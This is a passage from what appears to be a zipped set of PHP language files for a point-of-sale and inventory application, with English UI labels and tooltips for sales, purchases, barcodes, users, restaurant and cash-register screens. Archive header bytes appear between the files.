=> 'Edit Sales Order', 'shipping_note' => 'Shipping note', 'code_1_name' => 'Code 1 name', 'code_2_name' => 'Code 2 name', 'code_1' => 'Code 1', 'code_2' => 'Code 2', 'download_paking_pdf' => 'Download packing pdf', 'subject_type' => 'Subject Type', 'activity_log' => 'Activity Log', 'sell_deleted' => 'Sell Deleted', 'so_deleted' => 'Sales Order Deleted', 'po_deleted' => 'Purchase Order Deleted', 'purchase_deleted' => 'Purchase Deleted', 'contact_deleted' => 'Contact Deleted', 'payment_deleted' => 'Payment Deleted', 'quantity_remaining' => 'Quantity Remaining', 'view_sale' => 'View Sell', 'update_sale' => 'Update Sell', 'add_sell' => 'Add Sell', 'account_details' => 'Account details', 'label' => 'Label', 'prefer_payment_method' => 'Prefer payment method', 'prefer_payment_account' => 'Prefer payment account', 'this_will_be_shown_in_pdf' => 'Preferred method/account where customer can pay the invoice. (Useful for credit invoices)', 'view_own_so' => 'View own sales order', 'view_all_so' => 'View all sales order', 'create_so' => 'Create sales order', 'edit_so' => 'Edit sales order', 'delete_so' => 'Delete sales order', 'types_of_service_custom_field_help' => 'Six custom fields will be available while adding sell', 'delete_expense' => 'Delete Expense', 'access_all_expense' => 'Access all expenses', 'designation' => 'Designation', 'department' => 'Department', 'is_default_for_contact' => 'Is default for contact', 'individual' => 'Individual', 'is_export' => 'Is export?', 'export' => 'Export', 'export_custom_field1' => 'Export custom field 1', 'export_custom_field2' => 'Export custom field 2', 'export_custom_field3' => 'Export custom field 3', 'export_custom_field4' => 'Export custom field 4', 'export_custom_field5' => 'Export custom field 5', 'export_custom_field6' => 'Export custom field 6', 'enable_export' => 'Enable export', 'edit_status' => 'Edit status', 'status_updated' => 'Status updated', 'item_discount_label' => 'Item discount label', 'sales_orders' => 'Sales Orders', 'cash_denominations' => 'Cash Denominations', 'cash_denominations_help' => 'Comma separated values Example: 100,200,500,2000', 'denomination' => 'Denomination', 'count' => 'Count', 'denomination_add_help_text' => 'Add denominations in Settings -> Business Settings -> POS -> Cash Denominations', 'order_dates' => 'Order dates', 'by_category' => 'By Category', 'by_brand' => 'By Brand', 'no_brand' => 'No brand', 'woocommerce_sync' => 'WooCommerce Sync', 'enable' => 'Enable', 'disable' => 'Disable', 'cmmsn_calculation_type' => 'Commission Calculation Type', 'invoice_value' => 'Invoice value', 'total_payment_with_commsn' => 'Total payment with commission', 'payments_with_cmmsn' => 'Payments with commission', 'view_all_drafts' => 'View all drafts', 'view_own_drafts' => 'View own drafts', 'edit_draft' => 'Edit draft', 'delete_draft' => 'Delete draft', 'view_all_quotations' => 'View all quotations', 'view_own_quotations' => 'View own quotations', 'edit_quotation' => 'Edit quotation', 'delete_quotation' => 'Delete quotation', 'primary_work_location' => 'Primary work location', 'labels_for_purchase_shipping_custom_fields' => 'Labels for purchase shipping custom fields', 'view_own_purchase_n_stock_adjustment' => 'View own Purchase & Stock Adjustment', 'view_all_purchase_n_stock_adjustment' => 'View all Purchase & Stock Adjustment', 'access_all_shipments' => 'Access all shipments', 'view_all_sale' => 'View all sell', 'view_paid_sells_only' => 'View paid sells only', 'view_due_sells_only' => 'View due sells only', 'view_partially_paid_sells_only' => 'View partially paid sells only', 'view_overdue_sells_only' => 'View overdue sells only', 'customer_with_no_sell_one_month' => 'View customers with no sell from one month only', 'customer_with_no_sell_three_month' => 'View customers with no sell from three months only', 'customer_with_no_sell_six_month' => 'View customers with no sell from six months only', 'customer_with_no_sell_one_year' => 'View customers with no sell from one year only', 'customer_permissions_tooltip' => 'To view all customers with no sell from a specific time <b>View all customer</b> permission is required otherwise it will filter with only cusromers created by the logged in user', 'sell_permissions_tooltip' => 'To view sells on the basis of payment status <b> View all sell</b> permission is required otherwise it will filter with only sells created by the logged in user', 'access_pending_shipments_only' => 'Access pending shipments only', 'access_all_sell_return' => 'Access all sell return', 'access_own_sell_return' => 'Access own sell return', 'proforma_heading' => 'Proforma invoice heading', 'tooltip_proforma_heading' => 'Proforma invoice heading is used while providing Proforma to customers.', 'line_taxes' => 'Line taxes', 'add_additional_expenses' => 'Add additional expenses', 'additional_expense_name' => 'Additional expense name', 'purchase_additional_expense' => 'Purchase additional expenses', 'qr_code' => 'QR Code', 'show_qr_code' => 'Show QR Code', 'fields_to_be_shown' => 'Fields to be shown', 'business_location_address' => 'Business location address', 'business_tax_1' => 'Business tax 1', 'business_tax_2' => 'Business tax 2', 'invoice_datetime' => 'Invoice Datetime', 'total_amount_with_tax' => 'Total amount with tax', 'total_bank_transfer' => 'Total bank transfer', 'total_advance_payment' => 'Total advance payment', 'commission_agent_label' => 'Commission agent label', 'show_commission_agent' => 'Show commission agent', 'cannot_change_role' => 'Can not change role', 'cr' => 'CR', 'dr' => 'DR', 'payment_link' => 'Payment Link', 'enable_payment_link' => 'Enable payment link', 'payment_link_help_text' => 'By enabling users can pay invoice using payment link', 'invoice_payment' => 'Invoice Payment', 'payment_for_invoice_no' => 'Payment for invoice number', 'pending_shipments' => 'Pending Shipments', 'sources' => 'Sources', 'stripe_secret_key' => 'Stripe secret key', 'stripe_public_key' => 'Stripe public key', 'edit_opening_balance' => 'Edit Opening Balance', 'edit_fund_transfer' => 'Edit Fund Transfer', 'edit_deposit' => 'Edit Deposit', 'deposit_to' => 'Deposit to', 'transfer_from' => 'Transfer from', 'edit_account_transaction' => 'Edit account transaction', 'delete_account_transaction' => 'Delete account transaction', 'add_purchase_payment' => 'Add purchase payment', 'edit_purchase_payment' => 'Edit purchase payment', 'delete_purchase_payment' => 'Delete purchase payment', 'add_sell_payment' => 'Add sell payment', 'edit_sell_payment' => 'Edit sell payment', 'delete_sell_payment' => 'Delete sell payment', 'sales_order_heading' => 'Sales Order Heading', 'account_balance' => 'Account Balance', 'total_balance' => 'Total Balance', 'account_balance_tooltip' => 'Total balance of the particular account', 'total_balance_tooltip' => 'Total Balance of all the accounts', 'sell_additional_expense' => 'Sell additional expenses', 'view_export_buttons' => 'View export to buttons (csv/excel/print/pdf) on tables', 'overall' => 'Overall', 'show_labels' => 'Show Labels', 'zatca_qr' => 'ZATCA (Fatoora) QR code', 'zatca_qr_help' => 'For Saudi Arabia country', 'customer_irrespective_of_sell' => 'View customers irrespective of their sell', 'img_url_help_text' => 'Or URL of the image', 'add_as_sub_cat' => 'Add as sub-category', 'import' => 'Import', 'quantity_required' => 'Quantity required in row :row', 'date_ins' => 'Format: yyyy-mm-dd; Ex: 2021-11-25', 'has_no_sell_from' => 'Has no sell from', 'one_month' => 'One month', 'three_months' => 'Three months', 'six_months' => 'Six months', 'one_year' => 'One year', 'is_commission_agent_required' => 'Is commission agent required?', 'mobile_already_registered' => ':mobile Already registered for :contacts', 'automatic' => 'Automatic', 'payment_reminder_help' => 'If enabled, payment reminder notification will be automatically sent to customer on invoice overdue', 'new_sale_notification_help' => 'If enabled, sell notification will be automatically sent to customer on creating new sales for them', 'is_pay_term_required' => 'Is pay term required?', 'variation_sku' => 'Variation SKUs', 'variation_sku_ins' => 'SKUs of each variations separated by "|" if product type is variable', 'lot_number_instructions' => 'Only if Lot number is enabled. You can enable Lot number from <br><code>Business Settings > Purchases > Enable Lot number</code>', 'exp_date_instructions' => 'Only if Product Expiry is enabled. You can enable Product expiry from <br><code>Business Settings > Product > Enable Product Expiry</code>', 'payment_recovered_today' => 'Payment recovered today', 'payment_details' => 'Payment details', 'payments_recovered_for' => 'Payments recovered for', 'show_base_unit_details' => 'Show base unit details (If applicable)', 'tax_summary_label' => 'Tax summary label', 'discounted_unit_price_label' => 'Discounted unit price label', 'format_1' => 'Format 1', 'format_2' => 'Format 2', 'ledger_format' => 'Ledger format', 'statement' => 'Statement', 'transaction' => 'Transaction', 'current' => 'Current', '1_30_days_past_due' => '1-30 days past due', '30_60_days_past_due' => '30-60 days past due', '60_90_days_past_due' => '60-90 days past due', 'over_90_days_past_due' => 'Over 90 days past due', 'amount_due' => 'Amount due', 'change_return_payment_method' => 'Change return payment method', 'change_return_payment_account' => 'Change return payment account', 'pay_to_supplier' => 'Debit (Pay to supplier)', 'receive_from_supplier' => 'Credit (Receive from supplier)', 'receive_from_customer' => 'Credit (Receive from customer)', 'pay_to_customer' => 'Debit (Pay to customer)', 'enable_cash_denomination_on' => 'Enable cash denomination on', 'pos_screen' => 'POS screen', 'all_screen' => 'All screens', 'strict_check' => 'Strict check', 'strict_check_help' => 'If enabled payment amount must be equal to sum of cash denominations', 'cash_denomination_error' => 'Mismatch between amount & cash denomination. Please enter correct denomination', 'enable_cash_denomination_for_payment_methods' => 'Enable cash denomination for payment methods', 'invalid_date_format_at' => 'Invalid date format at row :row', 'net' => 'Net', 'net_home_tooltip' => 'NET = TOTAL SALES - INVOICE DUE - EXPENSE', 'ledger_discount' => 'Ledger discount', 'edit_discount' => 'Edit Discount', 'discount_for' => 'Discount for', 'delivery_at' => 'Delivery at', 'dispatch_from' => 'Dispatch From', 'checked_by' => 'Checked by', 'required_by' => 'Required by', 'for_business' => 'For :business', 'delivery_date' => 'Delivery date', 'po_no' => 'P.O. number', 'prepared_by' => 'Prepared by', 'permission_denied' => 'Permission denied', 'sell_not_found' => 'Sell not found', 'prev_unit_price' => 'Previous unit price', 'prev_discount' => 'Previous discount', 'download_excel' => 'Download Excel', 'total_items_label' => 'Total items label', 'currency_precision' => 'Currency precision', 'currency_precision_help' => 'Number of digits after decimal point for currency value. Example:0.00 for value 2, 0.000 for value 3, 0.0000 for value 4', 'quantity_precision' => 'Quantity precision', 'quantity_precision_help' => 'Number of digits after decimal point for quantity value. Example:0.00 for value 2, 0.000 for value 3, 0.0000 for value 4', 'customer_supplier_info' => 'Customer/Supplier information', 'enable_secondary_unit' => 'Enable secondary unit', 'secondary_unit' => 'Second unit', 'secondary_unit_help' => 'Allows user to enter product quantity in secondary unit during purchase/sell', 'quantity_in_second_unit' => 'Quantity in :unit', 'login_as_username' => 'Login as :username', 'back_to_username' => 'Back to :username', 'purchase_requisition' => 'Purchase Requisition', 'add_purchase_requisition' => 'Add Purchase Requisition', 'show_products' => 'Show products', 'required_by_date' => 'Required by date', 'purchase_requisition_details' => 'Purchase requisition details', 'enable_purchase_requisition' => 'Enable Purchase Requisition', 'purchase_requisition_help_text' => 'A purchase requisition is a document that an employee creates to request a purchase of goods or services.', 'view_all_purchase_requisition' => 'View all purchase requisition', 'view_own_purchase_requisition' => 'View own purchase requisition', 'create_purchase_requisition' => 'Create purchase requisition', 'delete_purchase_requisition' => 'Delete purchase requisition', 'all_added_products_will_be_removed' => 'All added products will be removed', 'required_quantity' => 'Required quantity', 'second_quantity' => 'Second quantity', 'show_product_description' => 'Show product description', 'preparation_time_in_minutes' => 'Service staff timer/Preparation time (In minutes)', 'service_staff_availability' => 'Service staff availability', 'will_be_available_at' => 'Will be available at', 'mark_as_available' => 'Mark as available', 'pause_timer' => 'Pause timer', 'resume_timer' => 'Resume timer', 'paused' => 'Paused', 'service_staff_availability_status' => 'Service staff availability status', 'refresh' => 'Refresh', 'gst_sales_report' => 'GST sales report (India)', 'invoice_date' => 'Invoice date', 'gstin_of_cutomer' => 'GSTIN of customer', 'hsn_code' => 'HSN code', 'taxable_value' => 'Taxable value', 'gst_purchase_report' => 'GST purchase report (India)', 'gstin_of_supplier' => 'GSTIN of supplier', 'format_3' => 'Format 3', 'additional_notes' => 'Additional notes', 'delivery_note' => 'Delivery Note', 'add_edit_payment' => 'Add/Edit Payment', 'is_product_image_required' => 'Is product image required?', 'select_variation_values' => 'Select variation values', 'show_letter_head' => 'Show letter head', 'letter_head' => 'Letter Head', 'letter_head_help' => 'Upload a letterhead image containing all details of your business. Letterhead will be added at the top of the invoices.', 'letter_head_help2' => 'Upload only if you want to replace previous letterhead', 'copy_quotation' => 'Copy Quotation', 'field_type' => 'Field Type', 'text' => 'Text', 'datepicker' => 'Datepicker', 'selling_price_help_text' => 'Set multiple price for products. Name different price and then update price from "Update Price" or List Products -> Actions -> Add or edit Group prices', 'update_product_price' => 'Update Price', 'import_export_product_price' => 'Import Export Product Price', 'export_product_prices' => 'Export product prices', 'price_import_instruction_1' => 'Export product prices by clicking on above button', 'price_import_instruction_2' => 'Make changes in product price including tax & selling price groups.', 'price_import_instruction_3' => 'Do not change any product name, sku & headers', 'price_import_instruction_4' => 'After making changes import the file', 'product_prices_imported_successfully' => 'Product prices imported successfully', 'price_group_price_type_tooltip' => 'If <b>Fixed</b> - the entered price will be used. If <b>Percentage</b> - price will be that much % of default selling price', 'dropdown' => 'Dropdown', 'enter_dropdown_values' => 'Enter dropdown options, one option per line', 'enable_service_staff_pin' => 'Enable service staff pin', 'staff_pin' => 'Staff Pin', 'tooltip_is_enable_service_staff_pin' => 'If enabled then during sales/pos when this user is selected as service staff pin needs to be entered, incorrect pin will not allow selection of this user as service staff.', 'kitchen_order' => 'Kitchen order', 'kitchen_order_tooltip' => 'Order will be sent to kitchen only if this option is checked', 'disable_quotation' => 'Disable Quotation', 'disable_card' => 'Disable Card', 'above_mentioned_items_received_in_good_condition' => 'Above mentioned items received in good condition', 'received_by' => 'Received by', 'enter_details_below_to_check_repair_status' => 'Enter details below to check Repair Status', 'search_by' => 'Search By', ]; PK G �Z�J± � en/barcode.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Brand Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Brand CRUD operations. | */ 'barcodes' => 'Barcodes', 'barcode_settings' => 'Barcode Settings', 'manage_your_barcodes' => 'Manage your barcode settings', 'all_your_barcode' => 'All your barcode settings', 'setting_name' => 'Sticker Sheet setting Name', 'setting_description' => 'Sticker Sheet setting Description', 'added_success' => 'Barcode setting added successfully', 'updated_success' => 'Barcode setting updated successfully', 'deleted_success' => 'Barcode setting deleted successfully', 'add_new_setting' => 'Add new setting', 'add_barcode_setting' => 'Add barcode sticker setting', 'edit_barcode_setting' => 'Edit barcode sticker setting', 'in_in' => 'In Inches', 'width' => 'Width of sticker', 'height' => 'Height of sticker', 'top_margin' => 'Additional top margin', 'left_margin' => 'Additional left margin', 'row_distance' => 'Distance between two rows', 'col_distance' => 'Distance between two columns', 'blank_stickers' => 'Blank Stickers', 'stickers_in_one_row' => 'Stickers in one row', 'delete_confirm' => 'This setting will be deleted \n Are you sure?', 'set_as_default' => 'Set as default', 'default' => 'Default', 'default_set_success' => 'Default set successfully', 'stickers_in_one_sheet' => 'No. of Stickers per sheet', 'is_continuous' => 'Continous feed or rolls', 'products' => 'Products', 'no_of_labels' => 'No. of labels', 'info_in_labels' => 'Information to show in Labels', 'print_name' => 'Product Name', 'print_variations' => 'Product Variation (recommended)', 'print_price' => 'Product Price', 'show_price' => 'Show Price', 'preview' => 'Preview', 'print_business_name' => 'Business name', 'barcode_setting' => 'Barcode setting', 'paper_width' => 'Paper width', 'paper_height' => 'Paper height', 'print_labels' => 'Print Labels', 'labels' => 'Labels', ]; PK G �Z��`e en/user.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Business Language Lines |-------------------------------------------------------------------------- | | The following language lines are used during registration of a business. | */ 'edit_profile' => 'Edit Profile', 'change_password' => 'Change Password', 'current_password' => 'Current password', 'new_password' => 'New password', 'confirm_new_password' => 'Confirm new password', 'user_management' => 'User Management', 'roles' => 'Roles', 'users' => 'Users', 'manage_roles' => 'Manage roles', 'all_roles' => 'All roles', 'add_role' => 'Add role', 'role_name' => 'Role Name', 'permissions' => 'Permissions', 'role_added' => 'Role added successfully', 'role_already_exists' => 'Role with the same name already exists', 'edit_role' => 'Edit role', 'role_updated' => 'Role updated successfully', 'role_deleted' => 'Role deleted successfully', 'manage_users' => 'Manage users', 'all_users' => 'All users', 'name' => 'Name', 'role' => 'Role', 'add_user' => 'Add user', 'user_added' => 'User added successfully', 'role_is_default' => 'You can not modify this role', 'edit_user' => 'Edit user', 'leave_password_blank' => "Leave password field blank if you don't want to update password", 'user_update_success' => 'User updated successfully', 'user_delete_success' => 'User deleted successfully', ]; PK G �ZQ��%X X en/restaurant.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Restaurant Language Lines |-------------------------------------------------------------------------- */ 'restaurant' => 'Restaurant', 'tables' => 'Tables', 'table' => 'Table', 'manage_your_tables' => 'Manage restaurant tables', 'all_your_tables' => 'All restaurant tables', 'description' => 'Description', 'add_table' => 'Add table', 'edit_table' => 'Edit table', 'table_name' => 'Table name', 'short_description' => 'Short Description', 'select_table' => 'Select Table', 'show_table' => 'Show table', 'table_label' => 'Table label', 'show_service_staff' => 'Show service staff', 'service_staff_label' => 'Service staff label', 'service_staff_replacement' => 'Service staff replacement', 'select_waiter' => 'Select Waiter', 'modifiers' => 'Modifiers', 'modifier_sets' => 'Modifier Sets', 'manage_your_modifiers' => 'Manage all restaurant modifiers', 'all_your_modifiers' => 'All Modifiers', 'add_modifier' => 'Add Modifier', 'modifier_set' => 'Modifier Set', 'modifier' => 'Modifiers', 'edit_modifier' => 'Edit Modifier', 'manage_products' => 'Manage Products', 'products' => 'Products', 'modifiers_for_product' => 'Modifiers for product', 'kitchen' => 'Kitchen', 'mark_as_cooked' => 'Mark as cooked', 'manage_your_kitchen' => 'Manage your kitchen', 'all_orders' => 'All orders', 'order_no' => 'Order No.', 'order_statuses' => [ 'received' => 'Received', 'cooked' => 'Cooked', 'served' => 'Served', '' => 'Received', 'partial_cooked' => 'Partially Cooked', 'partial_served' => 'Partially Served', ], 'order_successfully_marked_cooked' => 'Order successfully marked as cooked', 'order_successfully_marked_served' => 'Order successfully marked as served', 'orders' => 'Orders', 'manage_your_orders' => 'Manage your orders', 'all_your_orders' => 'All your orders', 'mark_as_served' => 'Mark as served', 'placed_at' => 'Placed at', 'order_status' => 'Order status', 'order_details' => 'Order details', 'refresh' => 'Refresh', 'no_orders_found' => 'No orders found', 'select_service_staff' => 'Select service staff', 'service_staff' => 'Service staff', 'kitchen_for_restaurant' => 'Kitchen (For restaurants)', 'products_for_modifier' => 'Products for modifier', 'is_service_staff' => 'Is service staff', 'tooltip_tables' => 'Used mostly in restaurants, bars, salons etc', 'tooltip_modifiers' => 'Extra items added with the main product<br>Example:Toppings, Cheese', 'tooltip_service_staff' => 'Person who provides the designated service to customers<br> Example: Waiting Staff in restaurants, Hairdressers in salon', 'modules_settings' => 'Modules settings', 'bookings' => 'Bookings', 'add_edit_view_all_booking' => 'Add/Edit/View all bookings', 'add_edit_view_own_booking' => 'Add/Edit/View own bookings', 'add_booking' => 'Add new booking', 'start_time' => 'Start time', 'end_time' => 'End time', 'booking_not_available' => 'Already booked for <b>:customer_name</b> between <b>:booking_time_range</b>', 'select_correspondent' => 'Select correspondent', 'send_notification_to_customer' => 'Send Email/SMS notification to customer', 'booking_details' => 'Booking Details', 'correspondent' => 'Correspondent', 'booking_starts' => 'Booking starts', 'booking_ends' => 'Booking ends', 'cancelled' => 'Cancelled', 'completed' => 'Completed', 'change_booking_status' => 'Change booking status', 'booked' => 'Booked', 'delete_booking' => 'Delete booking', 'click_on_any_booking_to_view_or_change_status' => 'Click on any booking to view details or change status', 'double_click_on_any_day_to_add_new_booking' => 'Double click on any day to add new booking', 'todays_bookings' => "Today's Bookings", 'hello_name' => 'Hello :name!', 'booking_confirmed' => 'Your booking has been confirmed.', 'table_info' => 'Table: :table', 'booking_time_info' => 'From :from TO :to', 'new_booking_subject' => 'New booking - :business_name', 'customer_note' => 'Customer note', 'table_report' => 'Table Report', 'service_staff_report' => 'Service Staff Report', ]; PK G �Z 㭪Z Z en/purchase.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Purchase Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Purchase screens | */ 'supplier' => 'Supplier', 'ref_no' => 'Reference No', 'business_location' => 'Business Location', 'purchases' => 'Purchases', 'add_payment' => 'Add payment', 'edit_payment' => 'Edit payment', 'view_payments' => 'View payments', 'amount_already_paid' => 'Amount already paid', 'payment_added_success' => 'Payment added successfully', 'payment_updated_success' => 'Payment updated successfully', 'payment_deleted_success' => 'Payment deleted successfully', 'view_payments' => 'View Payments', 'amount' => 'Amount', 'payment_method' => 'Payment Method', 'no_records_found' => 'No records found', 'payment_due' => 'Payment due', 'purchase_total' => 'Purchase total', 'location' => 'Location', 'payment_note' => 'Payment Note', 'all_purchases' => 'All Purchases', 'purchase_status' => 'Purchase Status', 'payment_status' => 'Payment Status', 'grand_total' => 'Grand Total', 'add_purchase' => 'Add Purchase', 'purchase_date' => 'Purchase Date', 'purchase_quantity' => 'Purchase Quantity', 'unit_cost_before_tax' => 'Unit Cost (Before Tax)', 'subtotal_before_tax' => 'Subtotal (Before Tax)', 'product_tax' => 'Product Tax', 'net_cost' => 'Net Cost', 'line_total' => 'Line Total', 'unit_selling_price' => 'Unit Selling Price', 'total_before_tax' => 'Total Before Tax', 'net_total_amount' => 'Net Total Amount', 'discount_type' => 'Discount Type', 'discount_amount' => 'Discount Amount', 'discount' => 'Discount', 'edit_purchase' => 'Edit Purchase', 'purchase_tax' => 'Purchase Tax', 'shipping_details' => 'Shipping Details', 'additional_shipping_charges' => 'Additional Shipping charges', 'purchase_total' => 'Purchase Total', 'additional_notes' => 'Additional Notes', 'purchase_add_success' => 'Purchase added successfully', 'purchase_update_success' => 'Purchase updated successfully', 'purchase_details' => 'Purchase Details', 'unit_cost_after_tax' => 'Unit Cost Price (After Tax)', 'total_after_tax' => 'Total After Tax', 'no_payments' => 'No payments found', 'allow_purchase_different_currency' => 'Purchases in other currency', 'purchase_currency' => 'Purchase Currency', 'p_exchange_rate' => 'Currency Exchange Rate', 'diff_purchase_currency_help' => 'Purchase currency is set to <strong> :currency </strong>', 'list_purchase' => 'List Purchases', 'attach_document' => 'Attach Document', 'download_document' => 'Download Document', 'max_file_size' => 'Max File size: :sizeMB', ]; PK G �ZKM� � en/business.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Business Language Lines |-------------------------------------------------------------------------- | | The following language lines are used during registration of a business. | */ 'register_and_get_started_in_minutes' => 'Register and Get Started in minutes', 'business_name' => 'Business Name', 'start_date' => 'Start Date', 'currency' => 'Currency', 'currency_placeholder' => 'Select Currency', 'upload_logo' => 'Upload Logo', 'country' => 'Country', 'state' => 'State', 'city' => 'City', 'zip_code' => 'Zip Code', 'zip_code_placeholder' => 'Zip/Postal Code', 'landmark' => 'Landmark', 'tax_1_name' => 'Tax 1 Name', 'tax_1_no' => 'Tax 1 No.', 'tax_2_name' => 'Tax 2 Name', 'tax_2_no' => 'Tax 2 No.', 'tax_1_placeholder' => 'GST / VAT / Other', 'prefix' => 'Prefix', 'prefix_placeholder' => 'Mr / Mrs / Miss', 'first_name' => 'First Name', 'last_name' => 'Last Name', 'username' => 'Username', 'email' => 'Email', 'password' => 'Password', 'confirm_password' => 'Confirm Password', 'register' => 'Register', 'business' => 'Business', 'address' => 'Address', 'logo_help' => 'Previous logo (if exists) will be replaced', 'update_settings' => 'Update Settings', 'business_settings' => 'Business Settings', 'settings_updated_success' => 'Settings updated successfully', 'default_profit_percent' => 'Default profit percent', 'default_sales_tax' => 'Default Sale Tax', 'default_sales_discount' => 'Default Sale Discount', 'business_details' => 'Business details', 'tax' => 'Tax', 'tax_details' => 'Tax details', 'owner' => 'Owner', 'owner_info' => 'Owner information', 'sale' => 'Sale', 'sell_price_tax' => 'Selling price', 'product' => 'Product', 'sku_prefix' => 'SKU prefix', 'language' => 'Language', 'time_zone' => 'Time zone', 'months' => [ 1 => 'January', 2 => 'February', 3 => 'March', 4 => 'April', 5 => 'May', 6 => 'June', 7 => 'July', 8 => 'August', 9 => 'September', 10 => 'October', 11 => 'November', 12 => 'December', ], 'fy_start_month' => 'Financial year start month', 'accounting_method' => 'Stock Accounting Method', 'fifo' => 'FIFO (First In First Out)', 'lifo' => 'LIFO (Last In First Out)', 'business_locations' => 'Business Locations', 'business_location' => 'Business Location', 'manage_your_business_locations' => 'Manage your business locations', 'all_your_business_locations' => 'All your business locations', 'add_business_location' => 'Add a new business location', 'business_location_added_success' => 'Business location added successfully', 'edit_business_location' => 'Edit business location', 'business_location_updated_success' => 'Business location updated successfully', 'location' => 'Location', 'already_registered' => 'Already registered?', 'sign_in' => 'Sign In', 'not_yet_registered' => 'Not yet registered?', 'register_now' => 'Register Now', 'system' => 'System', 'show_help_text' => 'Show help text', 'mobile' => 'Mobile', 'alternate_number' => 'Alternate contact number', 'email' => 'Email', 'settings' => 'Settings', 'transaction_edit_days' => 'Transaction Edit Days', 'dashboard' => 'Dashboard', 'view_stock_expiry_alert_for' => 'View Stock Expiry Alert For', 'days' => 'Days', 'system_settings' => 'System Settings', 'add_keyboard_shortcuts' => 'Add keyboard shortcuts', 'operations' => 'Operations', 'keyboard_shortcut' => 'Keyboard Shortcut', 'business_created_succesfully' => 'Business created successfully!!', 'tax_number1' => 'Tax Number 1', 'tax_number2' => 'Tax Number 2', 'is_active' => 'Active', 'created_by' => 'Created By', ]; PK G �Z�%I�: : en/cash_register.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Cash Register Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Cash Register CRUD operations. | */ 'cash_register' => 'Cash Register', 'manage_your_cash_register' => 'Manage Cash Registers', 'all_your_cash_register' => 'All Cash Registers', 'cash_in_hand' => 'Cash in hand', 'open_cash_register' => 'Open Cash Register', 'enter_amount' => 'Enter amount', 'open_register' => 'Open Register', 'register_details' => 'Register Details', 'cash_payment' => 'Cash Payment', 'checque_payment' => 'Cheque Payment', 'card_payment' => 'Card Payment', 'bank_transfer' => 'Bank Transfer', 'other_payments' => 'Other Payments', 'total_sales' => 'Total Sales', 'total_cash' => 'Total Cash', 'current_register' => 'Current Register', 'close_register' => 'Close Register', 'total_card_slips' => 'Total Card Slips', 'total_cheques' => 'Total cheques', 'closing_note' => 'Closing Note', 'close_success' => 'Register closed successfully', 'open' => 'Open', 'close' => 'Close', 'total_refund' => 'Total Refund', 'refunds' => 'Refunds', ]; PK G �Zr� > en/myfatoorah.phpnu �[��� <?php return [ 'pageCheckout' => 'MyFatoorah - Checkout', 'pageError' => 'MyFatoorah Error', 'noPaymentGateways' => 'There are no payment methods available on your account, please contact your account manager.', 'howWouldYouLikeToPay' => 'How would you like to pay?', 'or' => 'Or', 'payWith' => 'Pay With', 'insertCardDetails' => 'Insert Card Details', 'payNow' => 'Pay Now', 'holderName' => 'Name On Card', 'cardNumber' => 'Number', 'expiryDate' => 'MM/YY', 'securityCode' => 'CVV', 'cardHolderNameLabel' => 'Card Holder Name', 'cardNumberLabel' => 'Card Number', 'expiryDateLabel' => 'Expiry Date', 'securityCodeLabel' => 'Security Code', 'saveCard' => 'Save card number for future payments', 'addCard' => 'Use another card', 'deleteAlert.title' => 'Delete Card', 'deleteAlert.message' => 'Are you sure you want to remove this card?', 'deleteAlert.confirm' => 'Yes', 'deleteAlert.cancel' => 'No', 'Kindly review your MyFatoorah admin configuration due to a wrong entry.' => 'Kindly review your MyFatoorah admin configuration due to a wrong entry.', ]; PK G �Z�!A en/tooltip.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Tooltip Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for various help texts. | */ 'product_stock_alert' => "Products with low stock.<br/><small class='text-muted'>Based on product alert quantity set in add product screen.<br> Purchase this products before stock ends.</small>", 'payment_dues' => "Pending payment for purchases. <br/><small class='text-muted'>Based on supplier's pay term. <br/> Showing payments to be paid in 7 days or less.</small>", 'input_tax' => 'Total tax collected for sales within the selected time period.', 'output_tax' => 'Total tax paid towards purchases for the selected time period.', 'tax_overall' => 'Difference between total tax collected and total tax paid within the selected time period.', 'purchase_due' => 'Total unpaid amount for purchases.', 'sell_due' => 'Total amount to be received from sales', 'over_all_sell_purchase' => '-ve value = Amount to pay <br>+ve Value = Amount to receive', 'no_of_products_for_trending_products' => 'Number of top trending products to be compared in the chart below.', 'top_trending_products' => "Top selling products of your shop. <br/><small class='text-muted'>Apply filters to know trending products for specific Category, Brand, Business Location etc.</small>", 'sku' => "Unique product id or Stock Keeping Unit <br><br>Keep it blank to automatically generate sku.<br><small class='text-muted'>You can modify sku prefix in Business settings.</small>", 'enable_stock' => "Enable or disable stock management for a product. <br><br><small class='text-muted'>Stock Management should be disable mostly for services. Example: Hair-Cutting, Repairing, etc.</small>", 'alert_quantity' => "Get alert when product stock reaches or goes below the specified quantity.<br><br><small class='text-muted'>Products with low stock will be displayed in dashboard - Product Stock Alert section.</small>", 'product_type' => '<b>Single product</b>: Product with no variations. <br><b>Variable product</b>: Product with variations such as size, color etc. <br><b>Combo product</b>: A combination of multiple products, also called bundle product', 'profit_percent' => "Default profit margin for the product. <br><small class='text-muted'>(<i>You can manage default profit margin in Business Settings.</i>)</small>", 'pay_term' => "Payments to be paid for purchases/sales within the given time period.<br/><small class='text-muted'>All upcoming or due payments will be displayed in dashboard - Payment Due section</small>", 'order_status' => 'Products in this purchase will be available for sale only if the <b>Order Status</b> is <b>Items Received</b>.', 'purchase_location' => 'Business location where the purchased product will be available for sale.', 'sale_location' => 'Business location from where you want to sell', 'sale_discount' => "Set 'Default Sale Discount' for all sales in Business Settings. Click on the edit icon below to add/update discount.", 'sale_tax' => "Set 'Default Sale Tax' for all sales in Business Settings. Click on the edit icon below to add/update Order Tax.", 'default_profit_percent' => "Default profit margin of a product. <br><small class='text-muted'>Used to calculate selling price based on purchase price entered.<br/> You can modify this value for indivisual products while adding</small>", 'fy_start_month' => 'Starting month of The Financial Year for your business', 'business_tax' => 'Registered tax number for your business.', 'invoice_scheme' => "Invoice Scheme means invoice numbering format. Select the scheme to be used for this business location<br><small class='text-muted'><i>You can add new Invoice Scheme</b> in Invoice Settings</i></small>", 'invoice_layout' => "Invoice Layout to be used for this business location<br><small class='text-muted'>(<i>You can add new <b>Invoice Layout</b> in <b>Invoice Settings<b></i>)</small>", 'invoice_scheme_name' => 'Give a short 